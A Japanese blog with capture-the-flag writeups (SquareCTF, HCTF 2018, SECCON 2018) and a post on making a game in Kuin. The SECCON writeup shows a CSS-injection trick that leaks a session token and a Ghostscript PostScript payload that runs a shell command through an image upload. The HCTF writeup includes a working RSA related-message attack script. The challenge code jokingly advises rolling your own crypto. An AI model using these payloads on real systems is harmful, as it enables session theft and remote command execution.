        "\033[6A\r                 \n             XY   \n              (O  \n               |\\Z\n               |\n              / \\\n",
        "\033[6A\r              Y  \n                  \n             X_O  \n               |\\Z\n               |\n              / \\\n",
        "\033[6A\r               Y \n                  \n               O  \n             X/|\\Z\n               |\n              / \\\n",
        "\033[6A\r                 \n                 Y\n               O_Z\n             X/|  \n               |\n              / \\\n",
        "\033[6A\r                 \n                ZY\n               O) \n             X/|  \n               |\n              / \\\n",
        "\033[6A\r                Z\n                  \n               O_Y\n             X/|  \n               |\n              / \\\n",
    }
    ctr := 0
    for {
        select {
        case <-done:
            return
        case <-time.Tick(time.Duration(250) * time.Millisecond):
            ctr++
            s := frames[ctr%len(frames)]
            x := []byte("\033[32mo\033[39m")
            y := []byte("\033[34mo\033[39m")
            z := []byte("\033[35mo\033[39m")
            for t := 0; t < ctr/len(frames)%3; t++ {
                x = xor_slice(xor_slice(x, y), z)
                y = xor_slice(xor_slice(x, y), z)
                z = xor_slice(xor_slice(x, y), z)
                x = xor_slice(xor_slice(x, y), z)
            }
            s = strings.Replace(s, "X", string(x), 1)
            s = strings.Replace(s, "Y", string(y), 1)
            s = strings.Replace(s, "Z", string(z), 1)
            fmt.Print(s)
        }
    }
}

const Output = 16
const Space = 100000
const Rounds = 100000

/**
 * important computation, part 2 of 2
 *
 * pro-tip: you should always roll your own crypto. This prevents the NSA or other attackers from using
 * off-the-shelf tools to defeat your system.
 */
func compute2(data []byte, done chan bool) chan string {
    r := make(chan string)

    go func() {
        state := make([]int, Space)
        j := 0
        i := 0
        for i = range state {
            state[i] = i
        }

        for t := 0; t < Space*Rounds; t++ {
            i = (i + 1) % Space
            j = (j + state[i] + int(data[i%len(data)])) % Space
            state[i], state[j] = state[j], state[i]
        }

        o := make([]byte, Output)
        for t := 0; t < Output; t++ {
            i = (i + 1) % Space
            j = state[(state[i]+state[j])%Space]
            o[t] = byte(j & 0xff)
        }

        done <- true
        r <- hex.EncodeToString(o)
    }()

    return r
}

/**
 * Some other computation.
 */
func compute3(r chan byte) chan byte {
    s := make(chan byte)
    go func() {
        var prev byte = 0
        for v := range r {
            if v != prev {
                s <- v
                prev = v
            }
        }
        close(s)
    }()
    return s
}

/**
 * These aren't helpful, right?
 */
func compute4(input string) string {
    rand.Seed(42)
    m := make(map[int]int)
    for len(m) < 26 {
        c := rand.Int()%26 + 'a'
        if _, ok := m[c]; !ok {
            m[c] = len(m) + 'a'
        }
    }
    r := ""
    for _, c := range input {
        r = fmt.Sprintf("%s%c", r, m[int(c)])
    }
    return r
}

/**
 * A boring helper function
 */
func xor_slice(a []byte, b []byte) []byte {
    r := make([]byte, len(a))
    for i, v := range a {
        r[i] = v ^ b[i]
    }
    return r
}

/**
 * Another boring function
 */
func panicIfInvalid(s string) {
    if !regexp.MustCompile("^[a-zA-Z0-9]{26}$").MatchString(s) {
        panic("invalid input!")
    }
}

/**
 * Last one
 */
func another_helper(input string) (r bool) {
    r = true
    for i, v := range input {
        for j, w := range input {
            r = r && (i > j || v <= w)
        }
    }
    return
}

/**
 * Pro-tip: start here.
 */
func main() {
    input := os.Args[1]
    panicIfInvalid(input)

    done := make(chan bool)
    go compute1(done)
    h := compute2([]byte(input), done)

    s := make(chan byte, len(input))
    r := compute3(s)
    for _, c := range input {
        s <- byte(c)
    }
    close(s)

    input = ""
    for c := range r {
        input = fmt.Sprintf("%s%c", input, c)
    }
    panicIfInvalid(input)

    input = compute4(input)
    flag := <-h
    if !another_helper(input) {
        panic("invalid input!")
    }
    panicIfInvalid(input)

    fmt.Printf("Congrats! 🚩  = flag-%s\n", flag)
}

// author: Alok

 みるとわかりやすいコメントが書かれています。読み進めていくと以下のことがわかりました。

  • panicIfInvalid は入力が ^[a-zA-Z0-9]{26}$ であることを期待している
  • compute1 はお手玉を表示するだけで特に読まなくて良い
  • compute2 は入力を受け取ってswapなどをしてあと、計算結果が flag := <-h と用いられており、本体っぽい。
  • compute3 は入力を受け取ってuniq をして return している。そのあと panicIfInvalid に渡されていることから、入力に同じ文字の連続がないことがわかる
  • compute4 は compute3 された入力を受け取って独自のマッピングで置換している。
  • another_helper は 入力文字C_i について i < j なら C_i < C_j であることを保証してくれている(演算子<= だけど compute3 の制約で = になることはない)。文字数が26文字であることから考えて、 compute4 の出力は abcdefghijklmnopqrstuvwxyz になる。

 compute3, 4と another_helper のおかげで入力が一意に定まりそうです。 compute4 内で作成していた置換テーブルを逆にしたものを abcdef...xyz に適用してやると、nxelvzqaifsyhojudrbcwgptmk と出てきたので、これを入力してやれば compute2 ががんばってFlagを出力してくれそうです。

 ……というところまで解析してSlackに投げて走らせたら、ptr-yudaiのほうが先にflagが出力されてSubmitしてくれました。実質私の得点じゃないじゃん。私のマシンだと全然フラグでてこなかった。

そのほか感想など

  • 解析そんなに難しくないしもっと早く解けるべきだった。結構compute1, compute2を読む方を頑張ってしまっている時間が長くて失敗。
  • すわ1位か!? というところまで頑張ったのに最後の問題解けなくてがっかり。惜しいところまで解析できていたのですが、惜しいだけじゃあ点数にはならないんだよな。
  • ptr-yudaiが各問題を爆速で解いていたのですごかった。ptr-yudaiがGo読めたら僕の出番がなくなるところでした。

 おわり。SquareCTFは早くも来年の予定を公開しているので、またinsecureでチャレンジして、今度は勝利を掴みたいところです。

HCTF 2018 Writeup

HCTF 2018 Writeup

2018/11/9 21:00 - 11/11 21:00 の 48時間、 insecure (ptr-yudai, yoshiking, theoldmoon0602) として、 HCTF に参加していました。日付と時間帯が大変都合がよく、食事睡眠お風呂炊事以外の時間はずっとCTFに取り組み、およそここまでの人生で最もCTFに染まった2日間になりました。

私は3問を解き、yoshikingが1問、残りをptr-yudaiが解いてinsecureは3032.49点を獲得。得点 292チーム中 22位でした。輝かしい功績ですが、突っ込んだリソースから言えばもう少し稼ぎたかったところです。ちなみにWebとPwnはまるでわからなくて、MiscとCrypto、少しのBin+BlockChainで稼ぎました。

このCTFは解いたチーム数に応じて問題の得点が変化するタイプ*1で、小数点までついてます。

[Misc 424.63] Easy Dump

Miscの皮をかぶったForensic問題です。mem.data という名前の256MBほどのバイナリが与えられます。 strings などをした結果、どうやらWindowsのファイルらしいぞということがわかりました。まずディスクダンプを疑ったのでSleuth Kitにかけてみたのですが反応がなく、続いてメモリダンプを疑ってVolatilityを試すとこちらが当たりでした。

volatility -f mem.data pstree としたところ、以下のようになりました。

Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80003a5040:System                              4      0    108    373 2018-11-07 08:12:31 UTC+0000
(略)
.. 0xfffffa8002c62060:vmtoolsd.exe                   1356    472      9    225 2018-11-07 08:12:37 UTC+0000
... 0xfffffa8000cfeb30:cmd.exe                       2824   1356      0 ------ 2018-11-07 08:26:51 UTC+0000
(略)
 0xfffffa8001d64b30:explorer.exe                     1696   1548     20    661 2018-11-07 08:12:38 UTC+0000
. 0xfffffa8003344390:wordpad.exe                     1804   1696      3    120 2018-11-07 08:15:35 UTC+0000
. 0xfffffa8000d9ab30:MineSweeper.ex                   312   1696      9    208 2018-11-07 08:15:39 UTC+0000
. 0xfffffa8002de1560:mspaint.exe                     2768   1696      6    122 2018-11-07 08:16:05 UTC+0000
. 0xfffffa8002d0cb30:vmtoolsd.exe                    2028   1696      9    199 2018-11-07 08:12:39 UTC+0000
 0xfffffa8001fe1060:csrss.exe                         424    408     11    197 2018-11-07 08:12:33 UTC+0000
 0xfffffa8002638670:winlogon.exe                      504    408      3    114 2018-11-07 08:12:33 UTC+0000

cmd.exe を疑って cmdscan をしたのですが何も得られず、続いて mspaint.exe にあたりをつけました。volatility -f mem.data --profile=Win7SP1x64 memdump -p 2768 --dump-dir=dump としてメモリダンプを抽出し、それをgimpで開くと一部文字のようなものが見える部分がありました。頑張って幅を調整して、画像を反転させるとフラグが書いてありました。

f:id:Furutsuki:20181111220012p:plain

 問題名のとおり簡単でしたが、ここまでたどり着くのに時間を大きく奪われてしまったので反省です。

[Misc 432.97] Difficult Programming Language

 pcapファイルが渡されます。中身をみるとUSBのパケットで、キーボードっぽいなと思いました。むしろUSBのパケットを渡されてキーボード以外だったことがまだない。

 とりあえず tshark -Tfields -e usb.capdata -r difficult_programming_language.pcap > data のようなことをしてデータ部を取り出します。tsharkの使い方は私のブログの過去記事に助けられました。dataは以下のようになります。

02:00:00:00:00:00:00:00
02:00:07:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:34:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:35:00:00:00:00:00
00:00:00:00:00:00:00:00
...

 さて、このデータから何が入力されていたのかを辿りたいのですが、真面目にキーストローク文字コードを変換するのは大変なので、インターネットの力↓に頼りました。ありがとうございます。

yocchin.hatenablog.com

 データのフォーマットを反映して少しスクリプトを変更しました。

keymap = {  0x04: ('a','A'), 0x05: ('b','B'),0x06: ('c','C'),
        0x07: ('d','D'), 0x08: ('e','E'),0x09: ('f','F'),
        0x0a: ('g','G'), 0x0b: ('h','H'),0x0c: ('i','I'),
        0x0d: ('j','J'), 0x0e: ('k','K'),0x0f: ('l','L'),
        0x10: ('m','M'), 0x11: ('n','N'),0x12: ('o','O'),
        0x13: ('p','P'), 0x14: ('q','Q'),0x15: ('r','R'),
        0x16: ('s','S'), 0x17: ('t','T'),0x18: ('u','U'),
        0x19: ('v','V'), 0x1a: ('w','W'),0x1b: ('x','X'),
        0x1c: ('y','Y'), 0x1d: ('z','Z'),0x1e: ('1','!'),
        0x1f: ('2','@'), 0x20: ('3','#'),0x21: ('4','$'),
        0x22: ('5','%'), 0x23: ('6','^'),0x24: ('7','&'),
        0x25: ('8','*'), 0x26: ('9','('),0x27: ('0',')'),
        0x28: (' [Enter] ',' [Enter] '), 0x29: ('\x1b','\x1b'),
        0x2a: (' [del] ',' [del] '), 0x2b: ('\x09','\x09'),
        0x2c: ('\x20','\x20'), 0x2d: ('-','_'),
        0x2e: ('=','+'), 0x2f: ('[','{'),0x30: (']','}'),
        0x31: ('\\','|'), 0x33: (';',':'),0x34: ('\'','\"'),
        0x35: ('`','~'), 0x36: (',','<'),0x37: ('.','>'),
        0x38: ('/','?'),
        0x51:(' [downArrow] ',' [downArrow] '), 0x52: (' [upArrow] ',' [upArrow] '),0x32: ('\\','|')
        }

def analyze_usb_data(usb_data):
    flag = ""
    for d in usb_data:
        if d[2] == 0 or not(0 in d[3:8]):
            #No Event
            continue
        if d[0] == 0 or d[0] == 0x20:
            #press shift
            #binary -> int
            c = keymap[d[2]][0]
            flag += c
        else:
            #binary -> int
            c = keymap[d[2]][1]
            flag += c
    print flag

def main():
    data = list(map(lambda x: list(map(lambda y: int(y, 16), x.split(":"))), open("data").read().splitlines()))
    analyze_usb_data(data)

if __name__ == '__main__':
    main()

 ちなみに何かを途中で間違えたらしく、シフトキーを押したかどうかの判定が逆になっており、途中で時間をとられました。正しく変換してやると、次のような文字列になります。

D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~C

 これであっているのかと不安になる記号列ですが、問題名に従ってMalblogeというプログラミング言語ソースコードであるとあたりをつけました。インタプリタがないか探したところ以下がヒットしたので実行し、フラグを得られました。

https://zb3.me/malbolge-tools/

[Crypto 424.63] xor?rsa

 次のようなソースコードと、サーバの動作情報が与えられます。 verify なる関数が謎過ぎて悩んでいましたが、ptr-yudai が「チームトークンだよ」と教えてくれました(このCTFではチーム毎に、「チームトークン」なる文字列が与えられ、時々問題の最初に入力を求められました)。

from Crypto.Util.number import *
import SocketServer
import string
import hashlib
import random
import requests
import json
from flag import *

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass


class RSATCPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        self.request.sendall("Welcome to flag getting system\ngive me your token > ")
        token = self.request.recv(1024).strip()
        if not verify(token):
            self.request.sendall("token error\n")
        else:
            p = getStrongPrime(1024)
            q = getStrongPrime(1024)
            n = p * q
            e = 5
            nbits = size(n)
            kbits = nbits // (2 * e * e)
            m1 = getRandomNBitInteger(nbits)
            m2 = m1 ^ getRandomNBitInteger(kbits)
            c1 = pow(m1, e, n)
            c2 = pow(m2, e, n)

            self.request.sendall("n=" + str(n) + "\n")
            self.request.sendall("c1=" + str(c1) + "\n")
            self.request.sendall("c2=" + str(c2) + "\n")

            self.request.sendall("now give me you answer\n")
            ans1 = self.request.recv(2048).strip()
            ans2 = self.request.recv(2048).strip()

            if str(ans1) == str(m1) and str(ans2) == str(m2):
                self.request.sendall(FLAG)
            else:
                self.request.sendall("wrong answer\n")

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 10086
    server = ThreadedTCPServer((HOST, PORT), RSATCPHandler)
    server.serve_forever()

 ソースコードをみるとわかるように、 m2は小さめのデータを生成したあと、m1とのxorをとっています。はじめはeが小さかったのでLow Public Exponent Attackかなと思っていましたがはずれで、m1とm2の上位ビットが共通することからFranklin-Reiter Related Message Attackをやることにしました。

 Franklin-Reiter Related Message Attackではこちら↓の記事が、(多分同じ出典ということでしょうけど)そっくりのスクリプトを使っていたので、同じコードで攻撃できると判断してソースコードを拝借しました。

 

inaz2.hatenablog.com

import sys

def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]


if __name__ == '__main__':
    n = sage_eval(sys.argv[1])
    e = 5

    c1 = sage_eval(sys.argv[2])
    c2 = sage_eval(sys.argv[3])

    diff = short_pad_attack(c1, c2, e, n)
    m1 = related_message_attack(c1, c2, diff, e, n)
    print m1
    print m1 + diff

 接続用のスクリプトを組んで、フラグがでました。 str(int(res[0])) と一見無駄っぽいことをしていますが、これを挟まないと wrong answer が出ます。ちょっと謎挙動で時間を取られた。この問題はSageMathのインストールとこれが時間泥棒でした。

import sys
import subprocess
from pwn import *

def main():
    p = remote('rsa.2018.hctf.io', 10086)

    p.recvuntil('> ')
    p.sendline('M3SEdoxFHNsGWj5Gc6pN1vKqbP5jfKmn')

    n = p.recvline().split("=")[1]
    c1 = p.recvline().split("=")[1]
    c2 = p.recvline().split("=")[1]

    res = subprocess.check_output(["/home/user/Downloads/SageMath/sage", "attack.sage", n, c1, c2]).splitlines()

    print(p.recvuntil('answer\n'))

    p.sendline(str(int(res[0])))
    p.sendline(str(int(res[1])))

    p.interactive()

main()

感想など

  • 1282.23 / 3032.49 ということなのでいい具合かもしれない。しかし私が解いた問題はSolve数が多いものばかりで差をつけることができてない。もっと難しい問題も解けるようになって得点源になりたい。
  • Lucky Star☆は解きたかった。途中まで解析して諦めてptr-yudaiに投げたら解いていました。絶対Writeupに「おっはラッキー☆」って書きたかったのに。
  • 同様にSpiralは「天元突破グレンラガン」だったので解きたかった。このRev激ムズでは、解いたチーム本当に解析したんですか。どうやって。Writeup読もう
  • xor_gameはptr-yudaiが解いてたけど最初の方時間を溶かして全ての方針を折られたので何をやればよかったのか気になる。
  • adminはなんで解けなかったのかわからない。ソースコードを見るところまでは行けて(なんでコメントにGitHubのURLが書かれることになるんだろう)、SECRET_KEYがそのままだからセッション書き換えればいいのねって書き換えても弾かれ、それがだめならremember_tokenと思ってこちらをやっても反応なし。なんでだろう。この問題ちゃんと実装されていない箇所もあって嫌い
  • PolitishDuckも解けなかった。つら
  • その他のWeb問は全部エスパーでしょ。なんもわからん。特にshareはヒント0で解ける人絶対0人だって
  • yoshikingがBlockChain問題解いててすごい。今度教えてもらいます。
  • このCTFのPlatform、セッションがすぐ切れてログインを求められるんだけどそのたびにyoshikingのメールアドレスを打ち込むのがかなり負担。つらい。
  • 22位はちょっとすごいと思ってる。ptr-yudaiはそのうち去ってしまうのでそれまでに力をつけて、ptr-yudaiなしでもこのくらい頑張れるようになりたい。

*1:この形式に名前ついてないんですか

Kuinでゲームを作った

 ゲームを作ったんじゃなくて、諦めと妥協の結石を産んだ。

 毎年、高専祭にあわせてゲームを作っているので、今年もと思って研究の進捗を犠牲にゲームを召喚しました。思うところがあるので、ブログのエントリにしてなんとか言語化したいと思います。

 ちなみに、去年までの製作物は ここ から遊ぶことができます。1年生のときの製作物はソースコードが失われてしまったし、出来も酷いので公開していません。

 例年、私がゲームを作ろうと思い立つのは高専祭の一ヶ月ほど前で、ご存知のようにこのような短期間ではまともなゲームを作ることはできません(少なくとも私はそう)。すると適当な処理系でミニゲームのようなものを作り、お茶を濁すということになります。今年もそうなりました。こういうものを作る場合は、「exeを吐きやすい」「画像表示や音楽再生までの手間がすくない」「雑に書いても心が痛くない」という理由からHSPを採用していましたが、今年はKuinを使うことにしました。

なぜKuin を選んだのか

 Kuinは新興の言語ですが、リファレンスを読んでみたところ、私が作るようなゲームならば十二分に便利に動いてくれそうでした。「exeを吐きやすい」「画像表示や音楽再生までの手間がすくない」といった特徴を持った上で更に「基本的なデータ構造が用意されている」「静的な型チェックがある」などと嬉しいことが盛りだくさんです。あとから知りましたが、生成するバイナリのサイズが小さいのも嬉しい点でした。確かHSPは吐いたバイナリがHSPインタプリタHSPソースコードになっていて、ちょっと書いただけでも結構なバイナリサイズになっていた気がします。←大嘘でした

どんなゲームを作ったのか

 先にこちらを書くべきだったかもしれませんが、自分で認識しているとおりに駄ゲーなので紹介も憚られました。Kuinのサンプルに「インベーダーゲーム」が実装されていたことに着想を得て、「Defenders」という名前のゲームにしました。インベーダーゲームは「インベーダーゲーム」と言いつつ操作するのは「インベーダーじゃない側」なのが面白いなと思っていて、その命名法を踏襲させてもらいました。内容はインベーダーゲームにも遠く及ばずですが。

f:id:Furutsuki:20181102203220p:plainf:id:Furutsuki:20181102203225p:plainf:id:Furutsuki:20181102203228p:plain

 ちなみにGitHubソースコードを公開しています。遊べるexeファイルも Release においてあります。

github.com

ゲームでできたことできなかったこと

コンセプトを忘れた

 最初「戦略ゲーにしたい」と思っていました。やったことはないんですがタワーディフェンスのような感じ? やっぱりやったことはないですが「勇者のくせになまいきだ。」みたいな感じで配下をうまく配置する、みたいな事ができると楽しいな~と。実際には避けゲーができたんですが。高専祭にやってきて遊んでくれる人の層を考えるとこれでも良い気はしていますが、ちゃんとゲームデザインできなかったのは悔やまれます。

ストーリーを諦めた

 ちゃんとストーリーをもたせることができなかったのも悔しいポイントです。ゲーム中にインターミッションのような画面が出てくることがあるんですが、そこでゲームにストーリーをもたせたかった。しかしできませんでした。これはなんだろう。創作の筋肉が足りてないってことなんですかね。しかしどうやって磨くのかもわからないので困ったものです。

カスタマイズしたかった

 できなかったことはどんどん出てきますが、構想段階では「全体でN個のユニットを配置できるから、カスタマイズ画面でユニットAを N1 個、ユニットBをN2個に割り振るようにしよう」とか考えていたのに、カスタマイズ画面を作ることができず、この仕組みも作ることができませんでした。画面の想像図が出てこなかったのでちゃんと固まってなかったのはそうなんですが、もう少し労力を割いても良かったかなと思っています。いやでも今回のゲームくらいのボリュームだとやっぱり邪魔ですね。そもそもステージ数が少なすぎるのが大問題なんですよね……。

アニメーション無理

 アニメーションができません。ゲームにはかっこいいエフェクトとかアニメーションが必須だと思うんですが、アニメーション自体を作ることもできないし、ゲームにシステムとしてうまく組み込むこともできません。あれがめちゃくちゃ高度だということばかりわかるんですが、世の中のゲーム開発者の方々はすごいですね。

カクつく

 時々フレームレートが落ちます。どうも弾を大量に生成したタイミングで起きてるっぽいのですが、どの処理が悪いのかわからず、修正できていません。この規模のゲームで落としていては先が思いやられます。先なんてないか。

セーブできない

 そう言えば、セーブ機能も作ってないしアンチチートも実装してません。まあいいか……。

動くところまでつくった

 しかし一応、完成、というか動くところまで作れたので一安心です。音楽は無理でしたが、イラストも自分で書いたり加工したものでできたので、セルフメイド感はあって嬉しいです。音楽はまるでわからなくて、作り方はさっぱりだし、多分今回のゲームのBGMもなんかミスマッチになっていることだろうと思います。私は音がなっていればだいたい何でも良い気がしてしまうのでだめですね。

Kuin を使ってみて

 これはあんまり書かなくても良いことのような気はしますが、まだまだKuinを使う人は少ないと思うので使用感を書いておきます。誰かの参考になれば幸いです。

クラスが作れて便利

 HSPでは考えられないことだったので、まともなプログラミングをしている感じがあってよかったです。今回はキャラクターや弾の表示や移動、当たり判定処理を共通化するのに使いました。クラスがあって継承があってオーバーライドがあるというのはプログラミングをする上では必須ですね。なくてもなんとかはなりますが、そこを回避するために労力を割かなくて良いので楽です。

 しかしコンストラクタに引数を渡すことができないのがちょっと不満で、仕方がないのでファクトリメソッドのような感じで、インスタンスを生成しパラメータを設定する関数をクラス毎に作りました。これを毎回書くのは面倒ですがどうしようもない。あとオーバーライドするときに引数の名前も一致させる必要があるのがちょっと罠で、一回やられました。

関数が第一級オブジェクトで便利

 便利でした。HSPと比べると圧倒的に便利です。

文法はそんなに困らなかった

 Cのような言語を触ってきていたのではじめに見たときはKuinの文法は衝撃が大きかったです。しかし触ってみると悪くないもので、なんとなくコード中のまとまりが認識しやすいプログラムが出来上がる気がして、これは結構嬉しいです。

 end if のようなブロックの終端で閉じるブロックの種類を書くやつはあとから見返すときに便利でした。書くときは閉じること以外なにも考えていなくて、クラスを閉じるべきところで end func としたり、for文を end if と閉じようとしたりしました。実際に書くときはKuin IDE が補完してくれるのでそんなに困りませんが

Kuin IDE は使わなかった

 Kuin IDE は良さげなんですが、例えば「何も選択せずC-xで行切り取り」のような挙動がなくてストレスが大きかったので、プログラムは「VSCodeで書いて、Kuin IDEにコピペする」形で書きました。幸いKuinはソースコードの解析が早く、1000行くらいのプログラムなら貼り付けた瞬間にエラーを指摘してくれて楽ちんです。オートフォーマットもついているので、VSCodeでは少々雑にかいても、Kuin IDEに貼り付けたらきれいになっていい感じでした。

 VSCodeにもシンタックスハイライトと補完機能が欲しいですね。

標準ライブラリが強かった

 標準ライブラリが結構充実していたので、汎用関数で私が書いたのは lowerBound upperBound だけでした。ドキュメントの記述はもうちょっと欲しいところですが、まあわかるか。

ソースコードを分割しなかった

 コピペを多用して最終的に1800行ほど書いたわけですが、ソースコードを分割することはしませんでした。分割したときにプレフィックスをつけるのが面倒だったからで、なんか名前空間を取り込む機能があればいいのになと思いました。

コンパイルから実行までが早い

 強い

まとめ、抱負

 また短い期間でゲームを作ろうとしてしょぼいものを作ってしまった……。つくってる途中で NEW GAME!! を読んで、彼女らのゲームへの思いに打たれました。僕は負けた。もっと胸を張って人前に出せるものを作りたいし、来年またゲームを作るとしたらNENE QUESTくらい遊べるものに仕立ててやる。ゲームエンジンNENE ENGINE くらい頑張れるやつを作って、とにかく「頑張ったんだぞ!!」って言えるようにしたい。ねねっちは遠い目標です。

SECCON 2018 ONLINE Ghost Kingdom Writeup

 insecure という解散間近のチームで SECCON ONLINE に参加していました。移動と食事、睡眠以外の時間はやっていたので最長記録かも。 insecure は 国内決勝の進出を決めているので気合が入っていました。

 結果はよく知らないですが、私が Ghost Kingdom を解いたのと、残りを師匠が解いたので、私はGhost Kingdom のwrite upをします。


  • ログイン・レジスタができます
  • ログイン画面には(from internet) とあります
  • ログインすると「Adminにメッセージ」「すきなページのスクリーンショットをとる」機能があります
  • 「画像をアップロード」はローカルからのログインしかできません

 師匠が スクリーンショットのところで「locahost」と打って弾かれているのをみたので「0.0.0.0は?」と言って試してもらって、スクリーンショット経由でlocalのログイン画面にたどり着くことに成功しました。

 ログイン以外の操作ができずに悩んでいたのですが、スクリーンショットをとったり、Adminにメッセージを送るのはログイン画面を経由せずともできたので解決しました(ログインが不要だったのか、スクリーンショットをとってるブラウザがログイン済みだったのかはわからなかった)。admin にメッセージを送る際に、 input[type=hidden] にCSRFトークンとしてCGISESSID が使われていること、 get パラメータで css=hogehogeと、style タグの中身を base64encode したものを渡せるということに気が付いたので、 input[value^=0] { background: url("xssme?c=0") }input[value^=1] { background: url("xssme?c=1") } というふうにCSS injection を行いました。流石にこれを生成する スクリプトは書いた。こうしてスクリーンショットを撮っているユーザの セッションを盗み取ることができたので(手元のメモには 4341c2fdb42f0e839ba08c とあります)、このSESSIONを装備してログインしました。

 画像アップロード機能が解禁され、「JPGのアップロード(拡張子しかみてない)」「画像のGIFへの変換」ができるようになりました。明らかに ImageMagick をいじめる問題だったので、頑張ってGoogleして、下のようなPostScriptを aiueo.jpg としてアップロード、変換してフラグを得ました。問題の最初にフラグの場所が書いてあったのにそれを忘れて find / -name "*flag*" とかで探し回っていたのは内緒です。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

 特殊アーキテクチャ系はエミュレートがうまくできなかったので目で追いかけて python でシミュレートしたのですがうまくいきませんでした。なぜ。 classic pwn は解けなかった。 shooter は最終盤に SQLi を頑張ったけどテーブル名を抜くのが間に合わなかった。あれスクリプト書けるの。

あとで追記:

 SpecialInstructionsは xorshift32 の << 15<< 5 としていたため解けなかった模様。こんなんばっかでは